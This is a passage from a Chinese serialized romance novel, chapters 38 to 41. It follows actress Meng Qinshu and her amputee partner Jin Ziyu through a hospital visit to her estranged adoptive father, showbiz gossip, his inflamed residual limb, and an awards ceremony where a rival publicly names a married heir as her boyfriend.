靳子煜正视宋珍珠,用正常音量向她打招呼,“阿姨,好久不见。”
宋珍珠抿了抿唇,算作回应。
宋珍珠着实想不到,现在已经是大明星的孟秦书竟然还在跟当年那个男孩在谈恋爱,男孩现在似乎发达了,无论衣着还是外形变化很大,但……但无论怎么变他都是个少了一条腿的残疾人。
不过和她无关了。
孟秦书的事她本就懒得管,又不是她亲生女儿,而且她一直不喜欢这个女孩,看着沉默寡言,实则有心机、争强好胜,最会装乖。
她曾有多次告诉孟坤这孩子养不熟,劝了不知道多少次让他把这孩子送回去,他偏偏不听。
不是孟坤心有多善,而是自孟秦书来到孟家,教导孟秦书的一直是孟坤,孟坤在她身上花了不少心血,所以当年孟秦书不听从他的话,不按照他铺的路走,他气的半死。
孟坤这个人不是没才干,只是太过激进,要知道可不是谁都能在霍齐业身边做秘书,他当年也是万里挑一选出来的,他这个秘书的职能等同于决策层总经理,年薪近千万。
当年孟坤辞职之后如果脚踏实地干,十年、二十年、他不是没能力经营好一家企业,而他偏偏要走捷径,投其所好。
没错,投其所好。
孟坤知道霍齐业一直在为患有罕见血液病的儿子的将来犯愁,他就去福利院领了还是六岁的孟秦书,不但是孟秦书长得漂亮,还因为孟秦书和霍清辞同一个血型都是熊猫血,将来可以用来以备不时之需。
只是想不到霍清辞的病会治愈,霍清辞是大二出的国,那时孟秦书刚初三毕业即将上高中。
孟坤怎么会看不出来霍清辞为什么出国,是霍家反悔了曾经的约定,打算断了两孩子之间的往来,他们虽然多少有埋怨但也理解,病愈的霍清辞是孟家高攀不起的。
当年孟秦书陪霍清辞的第四年,霍董履行承诺助他创办企业,有了霍董的大力扶持,企业由几百人公司以火箭升势发展,仅用八年时间就成了拥有员工万人的大集团。
但一个靠他人扶持起来的企业,根基不稳,人家一句话就能决定生死。
孟坤是不懂吗?
他懂,但他太想成功了。
这不,最后还不是因人家一句话,一个月内他的“商业帝国”梦破灭。
38. 八卦
孟坤于第五天彻底清醒,再此期间,孟媛一直白天黑夜陪伴在其身侧,孟秦书每天都会来,有时坐两个小时,有时会坐四五个小时,
为了更好的照顾孟坤,孟秦书给孟坤安排进了单人病房,还给他雇了两名护工周到料理他每天的生活起居。
早上孟媛把这些说给孟坤听,孟坤听完只是喉头哼一声,别过脸,孟媛放下插/了一根吸管的玻璃杯,走去阳台收昨晚洗了晾在衣架上的毛巾。
正是这时候孟坤看到了踏进门的孟秦书。
上身黑白条纹针织衫,下身咖色纱线长裙,臂弯一件米白色羽绒服,没怎么装扮都一身贵气,果然今时不同往日,跟了霍清辞,进了豪门贵族,到底是不一样。
想不到如今发达了,还能想着他这个……哼,不过是来炫耀罢了。
孟坤不愿在多看孟秦书一眼,可就在他回正脖子之际,发现孟秦书背后还跟了一个,瘦高且挺拔的男人,这个男人大半具身体被孟秦书挡住,但他那张脸整个出现在孟坤眼前。
孟秦书还没发现孟坤醒,进门后她先进卫生间去洗手,靳子煜提了冬虫夏草礼盒往里走,孟坤身体动不了,他用力往前抻脖子,下巴都挤出两层肉。
漆黑的短发理的干净干练,驼色长款大衣,下摆长至穿着黑色长裤的小腿肚上,平驳领内是一件米白翻领毛衣,男人右手中握一根黑色手杖,行走间,仪态从容。
和当年那个在他面前眼睛都不敢抬的青涩男孩简直天差地别。
孟坤确认再三是那个瘸了条腿的穷小子,他不会认错。
生命体征稳定的孟坤已取走呼吸面罩而是用简易的鼻吸管,孟坤视线跟着他移动右边沙发旁,看到他把手里拎的礼盒放在茶几上。
装上了假肢,倒是有个人样,孟坤不禁在心里有做个假设,假如当年他以这副样子被孟秦书带到他面前,他会不会同意,答案还是不会。
他精心养育出的女孩,琴棋书画全方面栽培她,天下男人是死光了吗,怎么能嫁给一个瘸子,现在看来是小有所成,即使如此也配不上。
等等,孟秦书没有嫁给霍清辞,是和这小子在一起?
难道他们已经结婚了?
孟媛竟然半点没跟他透露。
霍清辞当年为孟秦书对他们赶尽杀绝,竟没娶她。
阳台上听到屋内动静的孟媛走进来,与此同时孟秦书也从卫生间出来。
“孟媛,那两个护工呢?”
孟秦书进来一会儿了都没看到护工。
孟媛回答她的话,“一位护工今天请假家里有事,另个去楼下吃早饭了。”
听见孟秦书的说话声,孟坤眼睛斜到她脸上,孟秦书像是感应到了他的目光,朝他转头看过来,之后两人视线碰触。
跟着孟秦书瞳孔骤然一颤,孟坤怀疑自己老眼昏花了,他好似还看到她眼底一抹藏的很深的欣喜,但等他想再细瞧时,孟秦书已快步朝他走过来。
来羞辱他这个老不死的?
孟坤这些年在精神病院绝食过,撞墙过,咬舌自尽过,但一次次被救回来,他……曾经的省文科状元,体面风光了大半辈子,怎么想得到,在他知命之年会一无所有、妻离子散,还被关进暗无天日的精神病院,他早就不想活了,活着每一天对他来说都是折磨。
“你醒了。”孟秦书居高临下地盯着他,冷淡地道。
孟坤闭上眼,不做回答。
手杖点地声,两种脚步声,混杂在一块都朝他过来,孟坤不愿理会,紧阖双眼。
走到孟秦书身旁的孟媛对她说,“今早七点刚醒,医生来看过爸爸,他意识是清楚的。”
这会儿是在装睡。
孟秦书解下手腕上的头绳,拢起头发,把散开的头发扎成一个松马尾。
床尾的靳子煜双手按在手杖头上,他思索着要不要和孟坤打声招呼,孟媛说他意识清醒,且刚才孟坤一直睁着眼,说明有看到他。
那么孟坤一定认得出他,但孟坤没有发火没有驱赶他,是不是从而说明他不再像当年对他成见那么大。
孟秦书拿来床头柜上,装了小半碗水的红色塑料碗,再拿一根医用棉签,棉签头沾了点碗里的水,轻轻点在孟坤干涸爆皮的嘴唇上。
孟坤眼皮不适地跳了跳,孟媛缓声告知孟秦书,“护工一直有给爸爸嘴唇擦拭,但爸爸体内有体热,晚上仍会发烧,内火烧到了嘴唇上,过两天退烧就好。”
孟秦书手指力量轻柔地不断重复沾水擦拭沾水擦拭动作,直到她觉得孟坤嘴唇湿润度够了,她才停手。
“孟媛你请了几天假?”
“我把年假都拿出来休了,还能再休一周。”
孟秦书看到她脸上青紫的伤已有淡化,这些天孟媛自己还伤着,还需夜以继日陪着孟坤,孟坤该感到欣慰他这个女儿没白养。
医院里有护士,孟坤身边还有护工,孟媛只需看守,但不是说丁点不累,也不能说把活扔给护工一走了之。
因为你不知道,护工的责任心,家人一旦不在病人身边,很多护工都会随便糊弄,甚至有的还会在背后对不能自理的老人动手。
孟媛现在真的变化巨大,这就是成长的代价吧。
前天孟媛的丈夫来医院找她,刚巧孟秦书也在,孟秦书把他堵在楼梯间,疾言怒色地威胁他离婚,他心里虚,也怕弄得人尽皆知,丢了工作,所以两人以于昨天也就是周五办完离婚手续。
孟秦书坐到中午十一点,床上的孟坤照旧闭着眼睛,他对她不屑一顾,孟秦书也不屑搭理他,她给沙发上的靳子煜使了个眼色,两人同步起身。
孟秦书穿好羽绒服立在门口等走过来的靳子煜,靳子煜走到床尾,忽就停下来,面朝床上的孟坤礼貌地道,“叔叔,我是靳子煜,八年前我们见过,我先走了。”
孟坤爆皮的嘴唇绷紧,孟媛知道他是想发火只是心有余而力不足,孟媛回看靳子煜,却见他被疾走进来的孟秦书挽住手臂给拽走了。
电梯间,等电梯上行间隙,孟秦书戴上口罩,掩不住想笑冲动,电梯间没有人,孟秦书勾住靳子煜的脖子,双眼笑弯成缝,“子煜,你怎么这么乖?”
三十岁的人被说成乖,靳子煜耳后发热,多少知道她指的是什么,“是指我和你养父说得话?”
“你看我都没把他放在眼里,你更不用管他。”
靳子煜很认真地说给她听,“小书我是觉得他是长辈,而且我觉得他现在对我态度有改观,小书他这次都没对我发火。”
孟秦书被他的话逗乐了,“子煜,他现在是没力气,但凡过个两天你在看。”
想到那个画面,靳子煜不自禁低笑出声,趁没人,他在孟秦书额头浅浅吻了一下,可随之两人听到有脚步声过来,孟秦书放下双手,回到靳子煜左手边,站姿笔直的重新挽起他的手臂。
走到医院露天停车场,孟秦书和靳子煜在此分开,她坐进自己的车,她要去一趟华星,找施漾聊聊。
*
华星影视今晚有一场自家艺人齐聚一堂的联谊晚会。
三号化妆间十多平方,由三名演员共享,这三人都是有一定成绩的演员,而其它化妆间都是八人、十人共享一间。
施
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漾作为在灿星地位仅次于南寒的艺人,南寒不在她一人独坐整排化妆桌,她背后那排化妆桌,分开坐着两人,施漾和这两人平日里关系还不错,化妆途中,时不时闲聊几句,笑声时不时发出。
施漾妆容素淡,她有一张清水芙蓉的脸蛋,不需要多加修饰反而更好看,她的化妆师经常因在她脸上无计可施而发愁,实在是她的脸太清纯了,二十四五的她去演高中生都不违和,浓妆艳抹反而破坏其美感。
化妆师又给施漾补了一遍定妆粉,施漾摆了摆手让她暂时先出去。
另两名艺人也让自己的化妆师跟着一块出去。
等化妆师们一走,门碰上,穿红色V领礼服裙的女演员在椅子上转过身来,问施漾刚才一直想问碍于外人在场没问出口的话,“漾姐,你刚说生不出来,不一定是女的不行,是什么意思?”
这个女演员比施漾大三岁,但总是叫施漾漾姐和她套近乎。
施漾细看自己的十根指甲,甲盖超出指腹一公分,每根都精修的圆润光滑,十指纤纤,白嫩剔透,这双手是她第二张脸。
半月前施漾隔三差五做美甲,但第一次去霍清辞住所,他不喜她指甲的味道,把她赶了回去;第二次她知道了,不但没做指甲连脂粉都没擦,素面朝天过去,这次他面带微笑的把她迎进屋。
他喜欢纯的。
另名穿浅绿色抹胸裙的女星脑子活跃,连人带椅子一起搬过来,面向施漾背部,抢着回答:“我早就觉得奇怪了,你说南寒跟了霍少这么多年,怎么一点动静都没有,你看霍少和他夫人结婚多少年了,一无所出,漾漾的意思是霍少不行。”
红裙女夸张的张大嘴,几秒后,她闭了闭嘴,“可我怎么听说南寒这次躲起来是去国外生孩子了。”
施漾嗓子里吭一声,似鄙夷又似嘲讽,她没转身,嗤道:“生孩子,做梦。”
施漾这句话侧面印证,这位霍少真的不行,两女人都听出来了。
“漾漾,不能生好啊,这样你就不用担心怀孕、身材走形这种问题。”绿裙女为施漾高兴。
他们这个圈子,演员和金主之前十有八九都是各取所需,若能获取到自己想要的同时还能不损伤自己身体,不影响演艺事业,无疑是天大的好事。
“不过他太太可真能忍啊。”绿裙女啧啧两声。
红裙女装模作样叹了声气说: “豪门夫妻各取所需吧,不过……想不通都是豪门还需要忍辱负重吗?”
她又说,“我听到一个小道消息,他太太是管我们这些演艺人员的,各大影视公司出品的电视剧、电影都要经过她手审批。”
绿裙女掩住红唇,作惊恐状:“漾漾,你小心点。”
施漾转身来看着她们,她干净的眼眸宛若天上皎洁无暇的新月,脸庞白净,透露出一种清纯无邪的气质,嘴唇却是勾着轻嘲,“一个个长着一张精明算计、充满野心的脸,却各个胆小如鼠。”
“富贵险中求。”绿裙女觉得施漾说得对,点头附和,“我猜这两人各玩各的,南寒和霍少的事又不是新闻,霍太太早就知道了吧。”
红裙女点头认同她的话,不禁生出惋惜,“想想霍少也真是可怜,拥有无尽财富,还有一副完美无缺的皮囊,结果有这种病,一个男人如果那方面不行和太监有什么区别”
“你们说的,可不是我说得啊。”
施漾悠悠然摘出自己。
两美女脸色一窘,而这时候,化妆室的门被一道重力猛地推开。
三人齐看向门口,看到的是面戴口罩,眼里杀气腾腾的被传言在外面躲起来生孩子的南寒。
39. 上药
孟秦书冲进化妆间,还没对施漾做什么就被紧追而来的芳姐从她背后攥住她的一条手臂,一把拽开。
那三人被芳姐赶出去,化妆间内只留下孟秦书。
“谁让你回国的?”
芳姐拉开椅子坐下来,她身上这条到膝盖的米白羊绒裙子,只能双膝并拢侧放,优雅尽显。
孟秦书倚着化妆桌,臀部压在桌子边沿,左手闲适地搭在桌面上,语调不咸不淡,“芳姐,我是去治疗不是去坐牢。”
芳姐自认对南寒可以说是无尽包容,她手底下八名艺人,哪个见到她不是喜笑盈腮,她知道南寒后台大,当年傅总亲自发话让她带南寒,还特意关照让她不能太拘着这个女孩,只要没有太出格的事情,不要干涉她。
那年年会,她从傅总那儿得知,南寒是他生意场上一朋友委托给他的,不可得罪,当她以为自己迎来了一蹲每天需要供奉的大佛时,南寒的表现却让她出乎意料。
同年南寒凭借一部校园剧爆火,微博活粉一夜之间暴涨近千万,吸了一大批死忠粉,这让她看到了南寒的潜能。
南寒绝对是是老天爷赏饭吃的天赋型明星,不是科班出身的她,演技忽上忽下,或者说是要选对戏路剧本。
可她又偏偏喜欢自己挑一些想拍的剧而不看自己是否能可以演出剧里面的人物内核,她特立独行惯了,但好在她敬业爱岗,一年三百六十五天,三百天在片场,也算是劳模了。
但那是四年前的她,四年后的南寒跟变了一个人一样,消殆工作,不求上进,芳姐知她后台也不好多说什么,只能随任其之。
芳姐不是只带一个艺人,但到目前为止来没带出第二个南寒,在娱乐圈漂亮得很多,但不是漂亮一定能火,大红大紫更是门玄学。
那位施漾各方面不错,又是科班出身,虽不是她手底下的艺人,但以她以往的经验来看,假日时日,超越南寒也不是说不可能。
但施漾这张脸过分清纯了,有戏路限制,只能去动刀,以她对施漾经纪人的了解,早晚会安排她去做这件事,只有打破才能跨越瓶颈。
在将来对南寒来说是个劲敌。
而就在前些天,南寒不知道哪根筋开窍了,主动问她讨要剧本,她当时的心理就好像一个班里成天只知道玩成绩还可以的小孩,某天突然对老师说,老师我从今天起要好好学习,惊喜且匪夷所思。
直到施漾和那位霍少的照片在网络上广泛流传她终于知道为什么了,南寒是产生了危机意识。
也是好事。
*
孟秦书回到车里,她没立即开车,而是在回靳子煜那里还是去找霍清辞之间摇摆不定。
化妆间门口她不清不楚地听到一两句,确认了施漾和霍清辞确实有来往,如果霍清辞没结婚,施漾在他背后污蔑他的话,她会提醒他让她远离这种女人。
可霍清辞婚内出轨,自身以不正,现在不单单是远离而是要马上结束这种关系,现在还能太太平平一定是嫂子还不知道,如果她继续当作不知情,以后传到嫂子耳朵里,他们夫妻的婚姻还能维持下去吗?
孟秦书真的想不到,出轨会发生在霍清辞身上,她所认识的霍清辞明智,明理,知是非,难道说.....人心真的会随着时间的变化而变化?
思来想去,孟秦书决定去找过霍清辞,但去之前她要先给霍清辞打个电话,确认他在哪里。
孟秦书电话打来时,霍清辞正穿着专业马术装备,独自一人在市内马术俱乐部骑马,他拉住缰绳叫住马匹,工作人员小跑上来,双手托着手机举起来交给他。
电话铃已熄灭,霍清辞松开缰绳脱掉白手套交给工作人员,然后再牵起缰绳,右手拇指滑两下屏幕,回拨过去,那头的孟秦书秒接。
“哥,你在哪里?”
“小书怎么了?”
“我们挺久没见了,我有些话和你说。”
西斜的太阳,围绕着太阳周围的光圈有些发散,盯久了,那圈光引发他眼晕,霍清辞晃了晃眼神,说:“我在京市,有什么事等我回去再说吧。”
工作人员眼内闪过一道光,但随即耸拉下眼皮藏过去,不敢让马上的这位看到。
孟秦书不疑有他,“好,知道了。”
等孟秦书那边挂断,霍清辞翻身跳下马,阔步前往正前方的休息室。
望着霍少大步流星离去的背影,这位在马场工作近二十年的工作人员微微愣神。
霍少以前是这里的常客,他服务过他记不清多不少次,除了丰厚的小费,记忆最深刻的霍少精湛的马术,毫不夸张的讲甚至比这里不少专业人员都更胜一筹,跑起来如闪电一般快速迅猛,扬手挥鞭,姿势矫健优美,看他骑马是一种享受。
只是近几年霍少一直没来过,今天破天荒来一趟,却能看出他似乎不在状态,骑的保守,速度悠然更像是在马场遛马。
回到靳子煜家,孟秦书刚下车,被迎面而来的书书扑过来对着她的双腿猛烈一撞,孟秦书不觉生气,而是陪它玩了好一会儿才抬步进门。
靳子煜说书书通人性,确实如此,它绝不会对着靳子煜做这种生扑的动作,而她喜欢跟它玩这种游戏,它便乐此不疲跟她闹。
靳子煜不在家,静姐告诉她,靳子煜刚出去不到十分钟。
孟秦书知道他去哪了,早在昨天夜里靳子煜就跟她报备了,今晚要和一帮同事去饭店聚餐这件事。
韩国回来后,一周时间,她都在靳子煜这儿度过,在这一周中,两人真的找回了从前,她每天除了去医院,就是在家等他回来,到了晚上他们依偎在一块看看电视、畅聊未来……眼下他们距离成为真正的夫妻,只差一张证。
还有十天才能动手术,但孟秦书等不及,她给那位医生的助理发去信息,请她帮忙通融下,尽量帮她往前提手术时间。
那位助理回信息来时,已经是晚上八点,由于晚上吃得过早,孟秦书已睡了一觉,她头枕着沙发扶手,睁一只眼闭一只眼默读上面的英文回信。
孟秦书眼眸刷的一亮,挺身坐起来。
那位助理回复说,已和医生沟通过,让她明后两天来医院在面诊一次,能达到手术指标五天内给她安排做。
房间的门被从外面推进来,孟秦书偏转头看到进门来的靳子煜,展开笑颜把这个好消息告诉他,“子煜,我明天飞韩国,让医生看看恢复得怎么样,说不定五天内
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能做完手术。”
她高兴,靳子煜也跟着高兴,他拄着手杖进来,往沙发这儿走,孟秦书等他近前来,双手抱着他的左手臂,拉他坐到身边,靳子煜将手杖收短,放到茶几上。
“子煜,我算了下,假如说五天内完成手术,拆线需等三至五天,那也就是说过十天我们就能去领证了。”孟秦书脑袋倚在他胳膊上,靳子煜伸出手掌压了压她头顶蓬松的黑发,孟秦书仰看靳子煜柔和的侧脸轮廓,“你....开心吗?”
虽说靳子煜肉眼可见的开心,但孟秦书就是想听他亲口说。
靳子煜扭脸凝视她,微微扬起唇角,双手捧住她的脸颊,嗓音低哑磁柔,“开心,靳子煜能娶到孟秦书是三生有幸。”
靳子煜这句话让孟秦书眼底升起热热的气体,明明没从他身上嗅到酒气,他怎么这么会说动听的情话。
孟秦书想盘问他从哪里学来的,佯装出一副生气的表情,可一对上他这双深情眼,她便没忍住发自内心地笑了。
刚想开口,他柔软的唇,甜蜜的吻,翩然落下。
窗子上有连续不断的噼里啪啦的声响,就像是被无数颗小石子在击打,靳子煜刚才有告诉她,他回来时,外面在下雨夹雪,听这声音雨下得更大了。
外面是数九寒冬,屋内寒谷回春。
孟秦书从床上放下双腿,趿拉拖鞋,走至卫生间门口,她不做犹豫地拉开移门,看到坐在轮椅上的靳子煜正在用夹有碘伏棉球的医用夹擦拭残肢,听到开门声他抬头,见是她,眉目含笑,神色无比柔和。
只是他额头细细密密布满一层的汗珠透露出他在忍受痛楚。
足尖轻轻踢开靳子煜日常泡腿的木桶,孟秦书半蹲在他面前,看到他残肢上磨破皮后露出深粉色的新肉,上面挂着黄色的液体是碘伏液,这种新鲜的肉最疼,以前靳子煜和她形容过那种疼,仿佛是往破了的伤口里灌辣椒水。
以前她还不是很能感知这种痛,但这次她脸上划了这么深一道口子后,她幻想过如果往里面倒点辣椒水会是什么感觉,她大概会痛死过去,想想都发抖,难怪他刚才走步有种落脚不敢重踩的感觉,难怪敷个腿在卫生间半小时都没出来。
子煜是真的能忍。
孟秦书夺走了他手里的医用夹,马桶盖上放置着一个椭圆形小盒子里有碘伏液,隔壁干燥的隔层里有干净的棉花,孟秦书先把夹子里原有的棉花扔进垃圾桶,再重新夹取了一团新棉花,泡入碘伏水中,浸泡完全,最后动作极轻地敷在那一片不规则的粉色新肉上。
即使她动作轻到极致,靳子煜还是被凉意和疼痛刺激的抖了一下身体。
孟秦书声调不带起伏地问他,“什么时候开始的?”
靳子煜半阖眼,注视她头顶的发旋,眉心因一遍遍擦拭而一抽一抽,他稳着声,尽量遏制因疼痛引发的颤音,“早上隐隐有点痛,不是很明显,晚上聚餐那家饭店刚巧电梯出了故障,不能运行,我硬着头皮跟着他们走了三层楼梯,坐下来就知道坏了。”
帮靳子煜上好药,孟秦书拿来靠在淋浴间玻璃墙上的腋拐,助靳子煜站起来后,交到手里,孟秦书让靳子煜先出去,她留在卫生间负责把地面收拾干净。
40. 心刺
后半夜身旁的人体温高得和蒸笼一样,孟秦书被烫醒,顷刻困意全消。
侧过半身,孟秦书于黑暗中摸到靳子煜的额头,仿佛碰到一块烧红的铁板,她心一惊,凑得近了,连他呼出的鼻息都带着灼人的热度。
孟秦书连忙爬起来,上身从靳子煜头顶横过去,摸到墙上的开关,打开屋里的大灯,灯一亮,看到了靳子煜烧红的脸,干燥的唇。
他的右腿又发炎了。
靳子煜家里一定备有消炎药和止痛药,但他放在哪里孟秦书不知道,她在卧室里一通翻箱倒柜,没找到半粒药片的影子。
回到床边孟秦书半蹲在地上,拿起床头柜上的手机看时间。
01:00。
今天外面这种风雪交加的天气,这个点外卖员大概率下班了,更何况孟秦书也不好意思这种天气又是深更半夜下外卖单。
孟秦书把手机放回去,手抚在靳子煜发烫的左半张脸上,柔声唤他,“子煜。”
许是她手指的力度,又或者是听到她在叫唤他,靳子煜费力地撑起眼皮,缓慢地朝她翻身过来,他的左腿被压在右腿残肢下,被面塌陷出整条左腿腿型。
那双平日里澄澈明亮的眼眸里闪烁着微红的光芒,眼神中更多的是迷茫。
蹲久了膝盖骨受不了,孟秦书直接跪在地板上,轻问他,“子煜,你的消炎药在哪里?”
“小书,家里药吃完了。”靳子煜阖起眼,嗓子哑得厉害,但回答很快,孟秦书看出来脑子没烧糊涂。
身上这么热,估摸有三十九度多,如果不药物干预,烧一晚非得把脑子烧坏不可。
孟秦书回想起每天开车路过小区门口那家药房,店招左下角有标注二十四小时营业。
靳子煜似乎又睡着了,孟秦书收回在他脸颊上的手,双臂撑床沿,站起身直走至衣柜,拉开柜门,孟秦书拿了件羽绒服,挂在臂弯不做停留地往外走。
听到渐远地脚步声靳子煜偏头看向卧室和客厅连接处,迷蒙地视线里他看到孟秦书蹑手蹑脚往外走的背影。
“小书……”他叫她,可是喉咙像是被什么东西堵住,声音低到仅自己可听见。
她自是没听见,依然在往外走,眼看要消失在他眼前。
靳子煜撑起双臂,上半身转向她的方向,再次出声,嗓音嘶哑沉重,“小书!”
这一声孟秦书听到了,她徐徐转身,瞳色沉黑幽远,表情淡漠,却藏不住她眼底渐渐生出的对他的不耐烦以及嫌恶。
正如那年。
初秋转凉,微风夕夕,公园里的银杏树叶渐黄,失去生命力的枯叶自树上飘落,打着旋儿无声无息地落到他们脚底下。
孟秦书来时穿了一件黑色薄款风衣外套,双手斜插入兜,“靳子煜,两个月来你每天给我发信息,你是真没看出来我都不想回复你吗?你不是学霸吗?不是高智商吗?难道看不出我早就不喜欢你了,好聚好散不好吗?一定要我当面把话说出来,好—我告诉你,靳子煜。”
“我不要一个未来有可能只能坐在轮椅上,不依靠拐杖站都站不起来的男朋友,靳子煜我后悔了,我受够了。”
“听懂了吗?靳子煜。”
丢下这些话,孟秦书头也不回地走了。
又如现在,不留一言半语,她倏然转身,拔腿快走,好似怕慢一步被他追上,她就甩不开他了。
靳子煜是想去追她,可是他一下床就掉到了地上,他追不上她,他只有一条腿怎么追得上。
靳子煜右手握拳猛锤地面,木地板被撞出“咚咚咚”的闷响。
咚咚咚!!
无力、无能、对自己的厌弃,让凝聚在眼眶里的泪,一颗接一颗坠到地板上,泪珠相连,眨眼之间,恍似汇成小河。
小书……
房门被外力推开,进门的孟秦书看到趴睡在卧室和客厅相连处的靳子煜,她被这一幕场景吓了一跳。
靳子煜身上穿着纯棉格子睡衣套装,他正面朝下趴着,脑袋侧歪朝向一旁,双眼紧闭,左腿屈着,残肢下多余的裤腿歪七扭八的平铺在地上,走近可见他两道硬朗的剑眉向眉心靠拢,脸上的汗迹在灯下泛着光。
孟秦书登时红了眼圈,单膝跪在他身旁,丢下手里装有药的塑料袋。
“子煜。”孟秦书嘴唇轻轻颤抖着,发出细微的颤音。
右手从靳子煜贴地的胸前穿过去,孟秦书双臂裹住他上身,试图把他上身抬起来。
但她搬不动他,他又回落到地上。
孟秦书赶紧掏出外套口袋里的手机,触击屏幕摁出120三个数字。
可就在她准备拨出去之际,趴睡在地上的靳子煜缓睁双眼,低哑开口,“小书你回来了。”
拨拨打键的手指悬停在半空,孟秦书把手机放在地上,吸了吸鼻子。
靳子煜双臂一撑翻了身,正面向上,灯光下他又红又肿的双眼攒着液体,宛如深夜里灯塔下寂静无声的海面。
手掌再一用力,靳子煜撑坐起来,侧眸看到孟秦书泪光莹莹眼睛。
外面雨一定很大,孟秦书披散在背上的头发,呈半湿半干状态,有一缕湿发还黏在她的侧脸颊上,而她本就白皙的脸庞,被冻出一种病气的苍白。
不知道怎么回事,靳子煜这会儿反而清醒了,他视线下移,看见地面上她买回来的药,眼眸浅浅一弯,“我没事,小书。”
孟秦书双手抓握住靳子煜的右胳膊,靳子煜借了她往上托举的力,缓慢地站起来,再由孟秦书扶着,靳子煜一步一步跳到床前,弯身坐到床边。
孟秦书去客厅为靳子煜倒水,等她端着杯子里的温水回来,靳子煜仍在那儿坐着,他望向进门的她,眼神清清明明,清浅的笑纹常挂在脸上。
水杯交到靳子煜手中,靳子煜五指收拢,握住杯身,孟秦书回以微笑,而他催促她去洗澡,“小书快去洗澡,别着凉感冒了。”
卫生间门拉上。
靳子煜侧过身拿起床头柜上孟秦书已从药盒里摁出的两种胶囊,一种是止痛药,一种是消炎药。
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他将这两种归于掌心,塞入口中,随后他举起另只手中的水杯,扬起下巴,喝了一大口水把胶囊冲进胃里。
这么多年了,小书还记得他吃得哪两种药,连规格她都记得清清楚楚。
这次洗澡、洗头,从进去到换好睡衣出来,孟秦书只用了不到十五分钟。
靳子煜没睡背部垫着枕头靠那儿等她,孟秦书掀开被子躺进去,再往靳子煜身边挪动,直到两人身体紧挨着。
他两颊不再像刚才那么红润,孟秦书伸出手,手背触到他额头试了试温度,有降温,他经常吃得药物,药效确实强大。
但还是那句话,是药三分毒。
孟秦书放下这只手,双手放在被面上,手指相互绞着。
她和靳子煜重逢以来,四个月时间,这是他第二次残肢发炎,这只是她知道的,但已经很频繁了,当年她和靳子煜在一起三年,也不过才发生过两次这种情况。
难道是因为经常穿假肢的关系?
可总是这样频繁的吃药当真好吗?
靳子煜自是看到了孟秦书的小动作,他甚至知道她在想什么。
孟秦书不在绞手而是偏头看他,只是眉心浅浅皱起,声线轻柔,“子煜,明天周日在家休息吗?”
靳子煜对上她的眼睛,目光静静,“在家休息。”
“我后天飞韩国,明天我想再陪你一天。”孟秦书说给他听,靳子煜答了声好,孟秦书又说,“子煜明天别穿假肢了,用拐杖吧,这样伤口好得快些。”
靳子煜听懂孟秦书话里深藏的涵义,她住在这里一周已经发现他的‘自卑’,日夜相处怎么可能看不出,这一周如果静姐在楼下,他只要下楼必须穿戴整齐,如果回家早了,他会直接上楼等到静姐做好晚饭离开,他再下楼。
在别人眼中,靳子煜腿脚不好,或许有人会猜测他是不是截肢了,但猜测和亲眼所见,所产生的视觉的冲击是完全不同的。
说他自欺欺人也好。
一向衣冠笔挺的靳教授,突然有一天架着双拐,出现在众人面前,让人发现他没有右腿,怕更多是惊吓,惊吓过后是同情、可怜、惋惜……
自他开始穿戴上假肢,至今已有五年多,只要出现在外人面前他必须是完整的,有时候腿疼得实在受不了他会请假,但那是极少数,多数情况下,药物能控制住,他都会坚持去工作。
靳子煜在孟秦书面前不作隐瞒地说,“小书,我只要下楼都会穿假肢,静姐没见过我另一面,但我明天可以不下楼。”
目色浅柔却固执。
听到靳子煜说这些话,孟秦书只觉闷怀难释,她懂人的自尊心,可是他是靳子煜啊,以前靳子煜绝对不会这么想,是从什么时候起,残疾在他这里成了羞于启齿得事。
而在这时,靳子煜揽她入怀,下颌轻压在她的后颈处,滚烫的呼吸落在这里。
知她在想什么,靳子煜哑声说给她听,“小书,流年偷换,沧海桑田,请你相信,我爱你这件事,永远不会改变。”
41. 骗人
第二次手术做完的第三天,孟秦书和靳子煜躺在同一张病床上用手机投屏观看华喜奖颁奖典礼直播。
靳子煜背靠床,孟秦书横着睡,脑袋枕在靳子煜腹部,酒店里暖气打的足,不需要盖被子。
两双眼睛一齐静静注视电视机。
孟秦书本来对这种节目不会感兴趣,是因为半月前华喜奖投票截止前两小时,施漾在和她有四万票悬殊下,一个小时内跳过第二名的雅雅,赶超了第一名的她,一马当先的夺得了今年华喜奖最佳人气女演员奖。
孟秦书无所谓得不得奖,只是她还挺想听听颁奖现场施漾说什么获奖感言,而且网上传今天她那位金主会在现场。
都在传施漾现在的金主是霍清辞,真的会是他吗?
这才是孟秦书最在意的。
孟秦书手术那天,霍清辞没有来。
要说一点不失落是不可能的,不是霍清辞一定要为她做什么,而是他先前说得好好的。
不来真的没关系,但可以提前告知她一声,而不是说玩失踪,电话不接,微信不回。
就像当年,霍清辞前一秒答应她,会把她当妹妹永远保护她、照顾她,后一秒不告而别去了国外。
两位颁奖人你一言我一语地互动后,由女颁奖人,揭晓这期华喜奖的最佳人气女演员。
“恭喜,施漾。”
女颁奖人鼓掌,祝贺台下的施漾。
卷曲的长披散在胸前,身穿抹胸粉色羽毛长裙的施漾踩着五六公分高度的高跟鞋款步走到台上,走到颁奖人身边。
这时镜头给了她的脸一个大特写,那张精致的脸蛋,光彩夺目、春风得意。
女颁奖人接了礼仪小姐手中的水晶杯,说完祝贺的话后递给施漾,施漾双手握住奖杯杯座,嘴唇一直在抖,泫然欲坠,楚楚动人。
施漾稍低头对着话筒杆上的话筒发表获奖感言,“谢谢我的粉丝,谢谢你们,没有你们就......我还要谢谢评委,谢谢你们的赏识……”
她太激动了,哽了哽继续道,“不好意思我没有准备演讲稿,说得不好,有点语无伦次,我还想感谢我的男朋友,是他一直在鼓励我,一直默默地支持我,他今天也来了……”
镜头很懂得,顺着施漾泪光盈动的眼,落在最前排独坐一张圆桌的男人身上。
男人西装挺拔,神情淡淡,长腿闲闲搭着,修长的双手交握,随意搁置在腿上,好整以暇地看着舞台之上。
即使在暗淡的光线下,他凸出的五官,半点没有被埋没,尤其是不用刻意端出来的威严气势,半是慵懒,半是压迫。
在他之前镜头扫过的一众男演员,可以说无一比的上他。
“我的男朋友霍清辞霍先生。”施漾一开口,特写镜头回到她已秒变幸福洋溢的清丽脸蛋上。
孟秦书脸色一沉,抿直双唇,靳子煜比她反应都大,直接挺起身来。
四月前的宴会上,霍清辞一句“我太太当家”靳子煜至今记忆尤深,而且这对夫妻在人前情义深重,特别是霍太太,毫不掩饰对丈夫的欣赏以及爱意,怎么才几个月,霍清辞成了别人的男朋友,是离婚了吗?
搞不清楚状况的靳子煜有点懵。
